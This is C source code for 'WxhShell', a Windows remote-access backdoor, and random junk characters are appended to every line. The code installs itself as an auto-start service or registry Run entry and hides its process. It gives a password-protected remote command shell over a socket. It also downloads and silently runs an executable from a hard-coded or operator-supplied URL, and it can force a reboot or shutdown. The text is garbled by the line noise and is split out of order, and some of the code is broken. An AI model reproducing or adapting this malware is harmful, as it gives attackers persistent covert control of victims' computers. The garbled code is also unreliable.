    if(Boot(SHUTDOWN)) .pdgRjlSn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?^"S%Vb  
    else { 7gJy xQ  
    closesocket(wsh); 0;XnNz3&  
    ExitThread(0); /1OhW>W3eH  
    } x`o_&09;CG  
    break; hOwVm;:  
    } [6/ %ynlP  
  // 获取shell ;$%+TN  
  case 's': { Pt1Htt:BE  
    CmdShell(wsh); aqyXxJS8  
    closesocket(wsh); wwp vmb  
    ExitThread(0); Q0 ^?jh  
    break; pkxW19h*0  
  } -7pZRnv  
  // 退出 l[.pI];T  
  case 'x': { !MGQ+bD6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y.}n,y|J}  
    CloseIt(wsh); "arbUX~d  
    break; ]"YG7|EU  
    } i\t4TdEx(  
  // 离开 nKHyq\  
  case 'q': { ?VzST }  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); XDI@ mQmzB  
    closesocket(wsh); SgY>$gP9S  
    WSACleanup(); JgxOxZS`@  
    exit(1); J7l1-  
    break; \,_%e[g49  
        } O^IpfS\/  
  } R_H di~ k  
  } kj-S d^  
+Uk/Zg w^  
  // 提示信息 "urQUpF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tZ6KU11O  
} xUeLX`73  
  }  F-ijGGL#  
A!j&g(Z"Q  
  return; (^6SF>'  
} E8V,".!+E  
g!K(xh EO  
// shell模块句柄 Y]Xal   
int CmdShell(SOCKET sock) )9PQ j  
{ Wm"W@LPx5  
STARTUPINFO si; Z-/ E$j  
ZeroMemory(&si,sizeof(si)); 43(+3$VM7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N}^\$sVu_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G,$jU9 f  
PROCESS_INFORMATION ProcessInfo; 4K4?Q+?  
char cmdline[]="cmd"; 2pB@qi-]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z}pdcQl#  
  return 0; l9SbuT$U  
} hx:x5L>  
^c-1w V` /  
// 自身启动模式 v4 c_UFEh<  
int StartFromService(void) TYB^CVSZ  
{ P [gqv3V  
typedef struct D+k5e=  
{ scA&:y  
  DWORD ExitStatus; O-mP{  
  DWORD PebBaseAddress; PR.?"$!D{  
  DWORD AffinityMask; m+V'*[O{  
  DWORD BasePriority; O@EpRg1  
  ULONG UniqueProcessId; % +eZ U)N  
  ULONG InheritedFromUniqueProcessId; cl{;%4$9  
}   PROCESS_BASIC_INFORMATION; 4wK!)Pwq  
WF:i}+g+^  
PROCNTQSIP NtQueryInformationProcess; G-T:7  
,!Q2^R   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CM~)\prks  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n*'|7#;  
v+Ooihxl  
  HANDLE             hProcess; <S5Am%vo  
  PROCESS_BASIC_INFORMATION pbi; QPdhesrd-  
Qs*g)Yr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y.=v!*p?}  
  if(NULL == hInst ) return 0; M3x%D)*  
Ga~IOlS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dx:],VB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6R#f 8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -x7b6o>$  
$7lI Dt  
  if (!NtQueryInformationProcess) return 0; Nno*X9>~  
)Ibp%'H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); EAx@a%  
  if(!hProcess) return 0; rbs:qLa%  
,qt9S0 QS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Bm.%bA>  
&|55:Y87  
  CloseHandle(hProcess); 5H>[@_u+:  
l*/I ; a$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Eiwo== M  
if(hProcess==NULL) return 0; #=+d;RdlW  
XG*Luc-v  
HMODULE hMod; 6x6PP}IX  
char procName[255]; `&j5/[>v  
unsigned long cbNeeded; lS9rgq<n  
P b2exS(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p]IF=~b  
i!jx jP  
  CloseHandle(hProcess); |WlWZ8]  
^qYJx  
if(strstr(procName,"services")) return 1; // 以服务启动 !SEg4z  
Svy bP&i|  
  return 0; // 注册表启动 BEN=/ v  
} :SziQQ  
T/uj5pMG  
// 主模块  Wu9@Ecb  
int StartWxhshell(LPSTR lpCmdLine) yp_:] RE  
{ (B]rINY|  
  SOCKET wsl; mq su8ti  
BOOL val=TRUE; h0d;a  
  int port=0; 1Y\g{A "  
  struct sockaddr_in door; 05.^MU?^U  
TU7Qt<  
  if(wscfg.ws_autoins) Install(); LEWeybT  
8`kK)iCq  
port=atoi(lpCmdLine); Mb uD8B  
XeKIue@_  
if(port<=0) port=wscfg.ws_port; HTvA]-AuM  
8( 7DW |\  
  WSADATA data; +P81&CaY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Hh4$Qr;R  
BUuNI_?M#5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   iLNKC'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); JZ]4?_l  
  door.sin_family = AF_INET; tJ i#bg%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ( n|PLi  
  door.sin_port = htons(port); (%YFcE)SRS  
M)#aX|%Mh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -]\UFR  
closesocket(wsl); v:nm#P%P  
return 1; nYLq%7}k  
} 8dNwi&4  
V*2uW2\}  
  if(listen(wsl,2) == INVALID_SOCKET) { D:/^TEib  
closesocket(wsl); I|@%|sTW  
return 1; aI{Ehbf=  
} oMM`7wJw  
  Wxhshell(wsl); HSE9-c =  
  WSACleanup(); g VplBF7{  
m?V4r#t  
return 0;  bF0 y`  
~q5"'  
} c-(,%0G0  
pPuE-EDk  
// 以NT服务方式启动 cLEBcTx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Oca_1dlx  
{ d dkh*[  
DWORD   status = 0; 67wY_\m9I  
  DWORD   specificError = 0xfffffff; ,|<2wn#q  
4RGEg;]S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yO; r]`j0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Az8>^|@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PV<=wc^  
  serviceStatus.dwWin32ExitCode     = 0; 1>r7s*  
  serviceStatus.dwServiceSpecificExitCode = 0; ^OnU;8IC  
  serviceStatus.dwCheckPoint       = 0; \!Cix}}1  
  serviceStatus.dwWaitHint       = 0; Gt3V}"B3\  
D pI)qg#>V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U R>zL3  
  if (hServiceStatusHandle==0) return; $e)d!m.  
J=JYf_=4bc  
status = GetLastError(); ~Pq1@N>n  
  if (status!=NO_ERROR) FctqE/>}I  
{ M_<O'Ii3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; meA=lg?  
    serviceStatus.dwCheckPoint       = 0; ,]+P#eXgE  
    serviceStatus.dwWaitHint       = 0; cah1'Y  
    serviceStatus.dwWin32ExitCode     = status; f 0A0uU8y  
    serviceStatus.dwServiceSpecificExitCode = specificError; mEyJ o|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]3u ErnI  
    return; c=p`5sN)  
  } a ;WRTV  
$1y8gm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B&ItA76  
  serviceStatus.dwCheckPoint       = 0; SSEK9UX  
  serviceStatus.dwWaitHint       = 0; .&:y+Oww~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >RZ]t[)y  
} {7.."@Ob<v  
`z=U-v'H)D  
// 处理NT服务事件,比如:启动、停止 O$%M.C'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $O9Nprf  
{ EnnT)qos  
switch(fdwControl) YBqu7&  
{ KHV5V3q4  
case SERVICE_CONTROL_STOP: KCu@5`p  
  serviceStatus.dwWin32ExitCode = 0; =NMT H[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y !)  
  serviceStatus.dwCheckPoint   = 0; >77N5 >]e  
  serviceStatus.dwWaitHint     = 0; Y_tLSOD#/  
  { veIR)i@dx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %xF j;U?  
  } azF|L"-RP  
  return; (L}  
case SERVICE_CONTROL_PAUSE: rH Et]Xa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S{' /=Px+  
  break; ErIAS6HS'  
case SERVICE_CONTROL_CONTINUE: U ]jHe  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (N{Rda*8  
  break; 3omFd#EP  
case SERVICE_CONTROL_INTERROGATE: 7N9~nEU  
  break; #-*7<wN   
}; sLrSi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z M_ 6A1  
} ywWF+kR_  
qKNX^n;  
// 标准应用程序主函数 u>SGa @R)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) exT O#*o  
{ y=7WnQc  
XJ,P8nx  
// 获取操作系统版本 Vz[E)(QX-`  
OsIsNt=GetOsVer(); 8s(?zK\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q_S`@2Dzz,  
S81Z\=eK  
  // 从命令行安装 +EK(r@eV  
  if(strpbrk(lpCmdLine,"iI")) Install(); #2l6'gWE0  
Fb#.Gg9b>  
  // 下载执行文件 *W aL}i(P1  
if(wscfg.ws_downexe) { GO0Spf_Gh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AT Dm$ *  
  WinExec(wscfg.ws_filenam,SW_HIDE); U  ?'$E\  
} E`s9SE  
9 f$S4O5  
if(!OsIsNt) { 8fA9yQ 8  
// 如果时win9x,隐藏进程并且设置为注册表启动 oE@{h$=  
HideProc(); tgoOzk^  
StartWxhshell(lpCmdLine); AE0d0Y~9  
} ' NCxVbyYD  
else yZk HBG4  
  if(StartFromService()) e[_W( v  
  // 以服务方式启动 , Fo7E  
  StartServiceCtrlDispatcher(DispatchTable); C/V{&/5w  
else =Lx*TbsFYt  
  // 普通方式启动 NJK?5{H'  
  StartWxhshell(lpCmdLine); hpp>+=  
Xb +)@Y4h  
return 0; *: )hoHp&  
} 94C)63V  
bL*;6TzRK  
SxV(.i'  
HgL*/d  
=========================================== $T7hY$2Q l  
bU'{U0lM  
{.F``2  
D~_|`D5WK  
`s74g0h  
kB_uU !G  
" ] =ar&1}J  
.C=&` ;Vs  
#include <stdio.h> HRS|VC$tz  
#include <string.h> SjgF&LD  
#include <windows.h> *4}l V8  
#include <winsock2.h> S~^0 _?  
#include <winsvc.h> &X0/7)*"v  
#include <urlmon.h> 04-phEA2Q  
Cr0 \7  
#pragma comment (lib, "Ws2_32.lib") Y#'mALC2  
#pragma comment (lib, "urlmon.lib") +<&\*VR  
V lb L p;  
#define MAX_USER   100 // 最大客户端连接数 _J^q|  
#define BUF_SOCK   200 // sock buffer <<F#Al  
#define KEY_BUFF   255 // 输入 buffer H{|a+  
;-84cpfu  
#define REBOOT     0   // 重启 N,v4SIC@  
#define SHUTDOWN   1   // 关机 *;A I0  
,])@?TJb@  
#define DEF_PORT   5000 // 监听端口 J]uYXsC  
9D74/3b*  
#define REG_LEN     16   // 注册表键长度 ^aVoH/q*C  
#define SVC_LEN     80   // NT服务名长度 'G z>X :  
%-"?  
// 从dll定义API AMqu}G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); : sIZ+3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G#V5E)Dx  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "aNl2T  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `K[:<p}  
tm\ <w H  
// wxhshell配置信息 wqDRFZ1*P  
struct WSCFG { g*8LdH 6mq  
  int ws_port;         // 监听端口 b:fy  
  char ws_passstr[REG_LEN]; // 口令 '>FJk`iI  
  int ws_autoins;       // 安装标记, 1=yes 0=no H8 yc<  
  char ws_regname[REG_LEN]; // 注册表键名 X;_0"g  
  char ws_svcname[REG_LEN]; // 服务名 c)Ft#vzg&e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kf~71G+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 js )G   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uYjJDLYoHl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kfb+OE:7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0^44${bA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3}O.B r|  
g3{)AX[Uy  
}; j}YZl@dYV  
@(.?e<  
// default Wxhshell configuration (zkh`8L  
struct WSCFG wscfg={DEF_PORT,  01I5,Dm  
    "xuhuanlingzhe",  N3^pFy`  
    1, #|*;~:fz  
    "Wxhshell", }8Wp X2U  
    "Wxhshell", #r 1 $=GY  
            "WxhShell Service", z79L2lJn  
    "Wrsky Windows CmdShell Service", |7WzTz  
    "Please Input Your Password: ", &|<~J (L;  
  1, g-xbb&]  
  "http://www.wrsky.com/wxhshell.exe", ;@K,>$ur-  
  "Wxhshell.exe" G[u_Uu=>  
    }; Q(m} Sr4  
G 8|[.n  
// 消息定义模块 %o< &O(Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #FF5xe  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9Vk61x6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R7T"fN  
char *msg_ws_ext="\n\rExit."; %kD WUJZ  
char *msg_ws_end="\n\rQuit."; E*Vx^k$  
char *msg_ws_boot="\n\rReboot..."; YlOYgr^  
char *msg_ws_poff="\n\rShutdown..."; 4@#1G*OO  
char *msg_ws_down="\n\rSave to "; k1 >%wR  
{npKdX  
char *msg_ws_err="\n\rErr!"; aA%$<ItH  
char *msg_ws_ok="\n\rOK!"; >rlQY>5pH  
"%ag^v9  
char ExeFile[MAX_PATH]; L.(T"`-i  
int nUser = 0; ^8)&~q*  
HANDLE handles[MAX_USER]; rBs7,h  
int OsIsNt; y5?T`ts,#  
Cq1t[a  
SERVICE_STATUS       serviceStatus; eG # (9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Rz`<E97-  
93fKv  
// 函数声明 `u:U{m  
int Install(void); #c4LdZu9  
int Uninstall(void); ;3\F b3d  
int DownloadFile(char *sURL, SOCKET wsh); Szi4M&!K  
int Boot(int flag); f4s[R0l  
void HideProc(void); QHr 3J  
int GetOsVer(void); DLyHC=%{+h  
int Wxhshell(SOCKET wsl); ;~z>GJox  
void TalkWithClient(void *cs); 8s8q`_.)(  
int CmdShell(SOCKET sock); uW;Uq=UN  
int StartFromService(void); =B1t ?( "  
int StartWxhshell(LPSTR lpCmdLine); P,h@F+OZN  
_ %&"4bm.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )ACa0V>*p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vJ GxD\h  
v Xio1hu  
// 数据结构和表定义 [k-7Kq  
SERVICE_TABLE_ENTRY DispatchTable[] = 8q7KqYu  
{ <t]c'  
{wscfg.ws_svcname, NTServiceMain}, EBzg<-?o  
{NULL, NULL} bXq,iX  
}; 2 T{PIJg3  
\, n'D  
// 自我安装 oiO3]P]P  
int Install(void) &\sg~  
{ H?40yu2m5  
  char svExeFile[MAX_PATH]; O,qR$#l   
  HKEY key; hv*n";V   
  strcpy(svExeFile,ExeFile); oZ6xHdPc4  
f;u;hQxs  
// 如果是win9x系统,修改注册表设为自启动 %9mB4Fc6b)  
if(!OsIsNt) { B>X+eK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1sc #!^Oo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mm#U a/~1u  
  RegCloseKey(key); &%u,b~cL?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |BH, H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (]1le|+  
  RegCloseKey(key); E\m?0]W|  
  return 0; i04Sf^  
    } Si]Z`_  
  } 4)Pt]#Ti  
} 8SAz,m!W)  
else { q*{"6"4(  
UMhM8m!=o  
// 如果是NT以上系统,安装为系统服务 &[*<>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 08k1 w,6W  
if (schSCManager!=0) 86%weU/*  
{ n^&QOII@>  
  SC_HANDLE schService = CreateService 8x,;B_Zu  
  ( *kyy''r  
  schSCManager, 8"8{Nf-"  
  wscfg.ws_svcname, xDADJ>u2K  
  wscfg.ws_svcdisp, mSQ!<1PM  
  SERVICE_ALL_ACCESS, yvDzxu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4vqu(w8 L  
  SERVICE_AUTO_START, R<UjhCvx.  
  SERVICE_ERROR_NORMAL, [9(B;;R@  
  svExeFile, "6KOql3  
  NULL, ;SC|VcbyH  
  NULL, sef!hS06  
  NULL, 't)j  
  NULL, fE7WLV2I>  
  NULL 8-?n<h%8E  
  ); dje3&a  
  if (schService!=0) =:"@YD^a4  
  { ) ]~HjA;  
  CloseServiceHandle(schService); |?8CV\D!  
  CloseServiceHandle(schSCManager); g X(QRQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v?LJ_>hw*T  
  strcat(svExeFile,wscfg.ws_svcname); =?*V3e3{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3J,/bgL5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *c3 o&-ke9  
  RegCloseKey(key); N,[M8n,  
  return 0; ?J6hiQvL  
    } qA30z%#z_  
  } sL/Lw WH  
  CloseServiceHandle(schSCManager); yp*kMC,3  
} ?,%N?  
} HYg _{  
xD1wHp!+  
return 1; Y(A?ib~K  
} |g;XC^!%=o  
sJM}p5V  
// 自我卸载 IBF>4q m"  
int Uninstall(void) i-ogeR?  
{ / TJTu_#  
  HKEY key; [e^i".  
;N1FP*  
if(!OsIsNt) { k2+Z7#2n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }<Me%`x"  
  RegDeleteValue(key,wscfg.ws_regname); m",bfZ  
  RegCloseKey(key); +M.|D,wg2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rW6w1  
  RegDeleteValue(key,wscfg.ws_regname); *v5y]E%aW  
  RegCloseKey(key); a9qZI  
  return 0; g)p[A 4  
  } %##9.Xm6l  
} 1^W Aps  
} Bkz   
else { JGdBpj:  
9a4RW}S<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x)Th2es\  
if (schSCManager!=0) @%fkW"y:  
{ <'vM+Lk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \Fe5<G'v  
  if (schService!=0) zO\"$8q*  
  { X0P$r6 ;  
  if(DeleteService(schService)!=0) { 0y ;gi3W  
  CloseServiceHandle(schService); c`jTdVD  
  CloseServiceHandle(schSCManager); :8QG$Ua1  
  return 0; H{$yy)@F  
  } "1nd~ BBOw  
  CloseServiceHandle(schService); j68Gz5;j  
  } hs*:!&E  
  CloseServiceHandle(schSCManager); {Y/  
} 02+^rqIx5  
} r-0 7!A  
G?V3lQI1n  
return 1; k/mY. 2yPv  
} V('b|gsEo  
0ib 6}L%  
// 从指定url下载文件 Pb`sn5;  
int DownloadFile(char *sURL, SOCKET wsh) #,9|Hr%  
{ bQ4 }no0  
  HRESULT hr; a&cV@~  
char seps[]= "/"; w##Fpv<m  
char *token; D"WkD j"M  
char *file; tvH)I px  
char myURL[MAX_PATH]; \G"/Myi  
char myFILE[MAX_PATH]; g ` {0I[  
}9kq?  
strcpy(myURL,sURL); 97 g-*K  
  token=strtok(myURL,seps); ejQCMG7  
  while(token!=NULL) wb?hfe  
  { EtcamI*`  
    file=token; Xg)yz~Ug  
  token=strtok(NULL,seps); }B.C#Y$@  
  } j)0R*_-B[  
GJ$,@  
GetCurrentDirectory(MAX_PATH,myFILE); g-s@m}[T  
strcat(myFILE, "\\"); V:+bq`  
strcat(myFILE, file); p?h;Sv/  
  send(wsh,myFILE,strlen(myFILE),0); @rF\6I  
send(wsh,"...",3,0); u`~{:V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GhT7:_r~  
  if(hr==S_OK) th<]L<BP/  
return 0; M#p,Z F  
else 'GyPl  
return 1; =1(BKk>  
(l,o UBRr  
} sDC RL%0QK  
?|/}~ nj7  
// 系统电源模块 f:SF&t*  
int Boot(int flag) z~_\onC  
{ -jy"?]ve.  
  HANDLE hToken; Rju8%FRO  
  TOKEN_PRIVILEGES tkp; Z8@]e}n  
u0e#iX  
  if(OsIsNt) { Rb0{t[IU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tvUvd(8 w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  R pbl)  
    tkp.PrivilegeCount = 1; oGqv,[$qN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?x0yiV~dL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2uTa}{/%  
if(flag==REBOOT) { ww2Qa-K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bi[l,  
  return 0; aFym&n\  
} ..:V3]-D  
else { S#9SAX [  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [:'n+D=T3M  
  return 0; C"{on%  
} (D{}1sZBQ  
  } #.)>geLC>9  
  else { l.juys8s  
if(flag==REBOOT) { @FV;5M:I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f0s &9H  
  return 0; EHHxCq?  
} H^g<`XEgw  
else { C] w< &o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 12a #]E  
  return 0; (`u!/  
} B`aAvD`7  
} }}_uN-m  
*PEuaRDN  
return 1; pYG,5+g  
} * 2%e.d3"M  
Uz|]}t5V  
// win9x进程隐藏模块 \7/_+)0}'  
void HideProc(void) G= cxc_9  
{ { 1%ZyY  
->8q, W2A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pxx(BE  
  if ( hKernel != NULL ) r\d:fot  
  { clw91yrQn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'qJ-eQ7e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 02[II_< 1  
    FreeLibrary(hKernel); R!,)?j;  
  } gxM8IQ  
"~<~b2Y"5  
return; jVIpbG4 4  
} gpWS_Dw9  
[R>   
// 获取操作系统版本 ~P_kr'o  
int GetOsVer(void) ]Qr8wa>Z  
{ ;l()3;  
  OSVERSIONINFO winfo; LDeVNVM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GJs[m~`8#  
  GetVersionEx(&winfo); c!Vc_@V,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J36@Pf]h  
  return 1; S(i(1Hs.  
  else b<AE}UK  
  return 0; Ba0D"2CgY  
} y Xx62J  
e,&%Z  
// 客户端句柄模块 ,~xU>L^  
int Wxhshell(SOCKET wsl) "}p?pF<'0  
{ --`LP[ll  
  SOCKET wsh; #\BI-zt  
  struct sockaddr_in client; o(/ ia3  
  DWORD myID; o$VH,2 QF  
>;v0zE  
  while(nUser<MAX_USER) 5R`6zhf  
{ `YNC_r#tG  
  int nSize=sizeof(client); %E"/]!}3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "NH+qQhs  
  if(wsh==INVALID_SOCKET) return 1; 7RE6y(V1  
B:4qW[U#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~^~RltY  
if(handles[nUser]==0) FM"BTA:C  
  closesocket(wsh); ~#_$?_/(  
else lMez!qx,=  
  nUser++; N>%KV8>{L  
  } T1HiHvJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Xl6ZV,1=n7  
0DIM]PS  
  return 0; kZ-~ ;fBe  
} ws>Iyw.u  
}#>d2 =T$  
// 关闭 socket n "KJB  
void CloseIt(SOCKET wsh)  _np>({  
{ 8;\tP29  
closesocket(wsh);  jnzz~:  
nUser--; KH>sCEt  
ExitThread(0); <S@mQJS!y  
} vC<kpf!  
]#q7}Sd  
// 客户端请求句柄 )^S^s >3  
void TalkWithClient(void *cs) b[o"Uq@8?  
{ 50bP&dj&  
|uwteG5?$s  
  SOCKET wsh=(SOCKET)cs; ;To+,`?E;q  
  char pwd[SVC_LEN]; @-@rG>y^:  
  char cmd[KEY_BUFF]; h;UdwmT  
char chr[1]; Pq\V($gN  
int i,j; Z?v6pjZ?  
iH}rI'U.  
  while (nUser < MAX_USER) { Po!JgcJ#\  
'Oy5G7^R  
if(wscfg.ws_passstr) { {R!TUQ5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k,iV$,[TF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  Ox*T:5  
  //ZeroMemory(pwd,KEY_BUFF); 40d9/$uzh  
      i=0; I u~aTgHX%  
  while(i<SVC_LEN) { f9XO9N,hE:  
\ Q8q9|g?]  
  // 设置超时 p z+}7  
  fd_set FdRead; 4i\aW:_'i  
  struct timeval TimeOut; DD6`k*RIk.  
  FD_ZERO(&FdRead); us,,W(q  
  FD_SET(wsh,&FdRead); 9 roth  
  TimeOut.tv_sec=8; j X!ftm2  
  TimeOut.tv_usec=0; f.84=epv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xiOrk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q MdtJ(gq  
xVz -_z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u:H 3.5)%  
  pwd=chr[0]; (VI* c!N  
  if(chr[0]==0xd || chr[0]==0xa) { }%ZG> LG5J  
  pwd=0; 0/00 W6r0  
  break; (9 z.IH7}k  
  } UNcJ=   
  i++; ,iv%^C",)  
    } vQTQS[R=z  
9EA !j}  
  // 如果是非法用户,关闭 socket > <  _Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tTh;.88Z{  
} 0CVsDVA  
\%?8jQ'tX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t"bPKFRy9E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b}*@=X=4o  
tqwk?[y}+l  
while(1) { %)hIpxOrX  
sa gBmA~  
  ZeroMemory(cmd,KEY_BUFF); s?;<F  
# pjyhH@  
      // 自动支持客户端 telnet标准   g9weJ6@}M  
  j=0; + yP[(b/  
  while(j<KEY_BUFF) { 8&A|)ur4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3|'#n[3  
  cmd[j]=chr[0]; 0jJ28.kOp  
  if(chr[0]==0xa || chr[0]==0xd) { zTBi{KrZ  
  cmd[j]=0; wI]R+.  
  break; k E#_Pc  
  } L[D/#0qp  
  j++; Rr;LV<q+  
    } vD)A)  
T.w}6? 2  
  // 下载文件 $L&9x3+?Kg  
  if(strstr(cmd,"http://")) { B[/['sD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LY88;*:S  
  if(DownloadFile(cmd,wsh)) e<O;pM:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fb{`a[&  
  else >upXt?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Aiks>Cyi23  
  } Rqb{)L X*  
  else { pW3)Y5/D  
6|9g4@Hy  
